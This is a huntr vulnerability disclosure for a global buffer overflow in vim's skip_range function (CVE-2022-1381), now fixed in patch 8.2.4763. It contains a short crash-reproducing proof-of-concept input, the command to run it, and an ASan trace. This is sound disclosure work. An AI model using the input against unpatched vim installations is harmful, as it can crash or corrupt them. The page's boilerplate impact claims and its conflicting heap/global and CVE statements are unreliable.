huntr

global heap buffer overflow in skip_range in vim/vim

0

✓ Valid Reported on Apr 13th 2022

✍️ Description

When fuzzing vim commit `f420ff244` v8.2.4747 with clang 13 and ASan, I discovered a global buffer overflow.

Proof of Concept

Here is the minified poc

```
r<sfile>
0norm0V:^[
```

How to build

```
LD=lld AS=llvm-as AR=llvm-ar RANLIB=llvm-ranlib CC=clang CXX=clang++ CFLAGS
make -j$(nproc)
```

Proof of Concept
Run crafted file with this command
`./vim -u NONE -X -Z -e -s -S poc_skip_range_min -c :qa!`
ASan stack trace:

```
aldo@vps:~/vim/src$ ASAN_OPTIONS=symbolize=1 ASAN_SYMBOLIZER_PATH=/usr/bin/
=================================================================
==3301533==ERROR: AddressSanitizer: global-buffer-overflow on address 0x000
READ of size 1 at 0x000000f3489b thread T0
    #0 0x6dcf36 in skip_range /home/aldo/vimtes/src/ex_docm
    #1 0x6ce745 in do_one_cmd /home/aldo/vimtes/src/ex_docmd
    #2 0x6c93f2 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:992:17
    #3 0x914a95 in nv_colon /home/aldo/vimtes/src/normal.c:3191:19
    #4 0x8f7ced in normal_cmd /home/aldo/vimtes/src/normal.c:930:5
    #5 0x6fa35d in exec_normal /home/aldo/vimtes/src/ex_docmd.c:8730:6
    #6 0x6f9f63 in exec_normal_cmd /home/aldo/vimtes/src/ex_docmd.c:8693:5
    #7 0x6f9cc3 in ex_normal /home/aldo/vimtes/src/ex_docmd.c:8611:6
    #8 0x6d56c2 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2567:2
    #9 0x6c93f2 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:992:17
    #10 0xafb875 in do_source_ext /home/aldo/vimtes/src/scriptfile.c:1665:5
    #11 0xaf92c0 in do_source /home/aldo/vimtes/src/scriptfile.c:1791:12
    #12 0xaf8df9 in cmd_source /home/aldo/vimtes/src/scriptfile.c:1165:14
    #13 0xaf88dd in ex_source /home/aldo/vimtes/src/scriptfile.c:1191:2
    #14 0x6d56c2 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2567:2
    #15 0x6c93f2 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:992:17
    #16 0x6cc680 in do_cmdline_cmd /home/aldo/vimtes/src/ex_docmd.c:586:12
    #17 0xed3ca4 in exe_commands /home/aldo/vimtes/src/main.c:3104:2
    #18 0xed19d9 in vim_main2 /home/aldo/vimtes/src/main.c:780:2
    #19 0xecb2c0 in main /home/aldo/vimtes/src/main.c:432:12
    #20 0x7ffff78240b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/
    #21 0x41edcd in _start (/home/aldo/vimtes/src/vim+0x41edcd)

0x000000f3489b is located 5 bytes to the left of global variable '<string l
  '<string literal>' is ascii string '+'
0x000000f3489b is located 53 bytes to the right of global variable '<string
  '<string literal>' is ascii string ''<,'>'
SUMMARY: AddressSanitizer: global-buffer-overflow /home/aldo/vimtes/src/ex_
Shadow bytes around the buggy address:
  0x0000801de8c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000801de8d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000801de8e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 f9
  0x0000801de8f0: f9 f9 f9 f9 00 04 f9 f9 f9 f9 f9 f9 00 00 04 f9
  0x0000801de900: f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9 06 f9 f9 f9
=>0x0000801de910: f9 f9 f9[f9]02 f9 f9 f9 f9 f9 f9 f9 00 02 f9 f9
  0x0000801de920: f9 f9 f9 f9 00 03 f9 f9 f9 f9 f9 f9 07 f9 f9 f9
  0x0000801de930: f9 f9 f9 f9 00 01 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
  0x0000801de940: f9 f9 f9 f9 00 02 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
  0x0000801de950: f9 f9 f9 f9 00 05 f9 f9 f9 f9 f9 f9 00 02 f9 f9
  0x0000801de960: f9 f9 f9 f9 07 f9 f9 f9 f9 f9 f9 f9 05 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1

  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==3301533==ABORTING
```

💥 Impact

This vulnerability is capable of crashing software, Bypass Protection Mechanism, Modify Memory, and possible remote execution

Impact

This vulnerability is capable of crashing software, Bypass Protection Mechanism, Modify Memory, and possible remote execution

CVE
CVE-2022-1381
(Published)

Vulnerability Type
CWE-122: Heap-based Buffer Overflow

Severity
High (7.8)

Registry

Chat with us

Other

Affected Version

8.2.4747

Visibility

Public

Status

Fixed

Found by

Muhammad Aldo Firmansyah

@thecrott

legend

Fixed by

Bram Moolenaar

@brammool

maintainer

This report was seen 1,420 times.

We are processing your report and will contact the **vim** team within 24 hours. 7 months ago

We have contacted a member of the **vim** team and are waiting to hear back 7 months ago

Bram Moolenaar 7 months ago Maintainer

Note that the ^[in the POC is actually an ESC character. That way I can reproduce the bug.

Bram Moolenaar validated this vulnerability 7 months ago

Muhammad Aldo Firmansyah has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Bram Moolenaar 7 months ago

Chat with us

Fixed with patch v8.2.4763

Bram Moolenaar marked this as fixed in **8.2** with commit **f50808** 7 months ago

Bram Moolenaar has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Sign in to join this conversation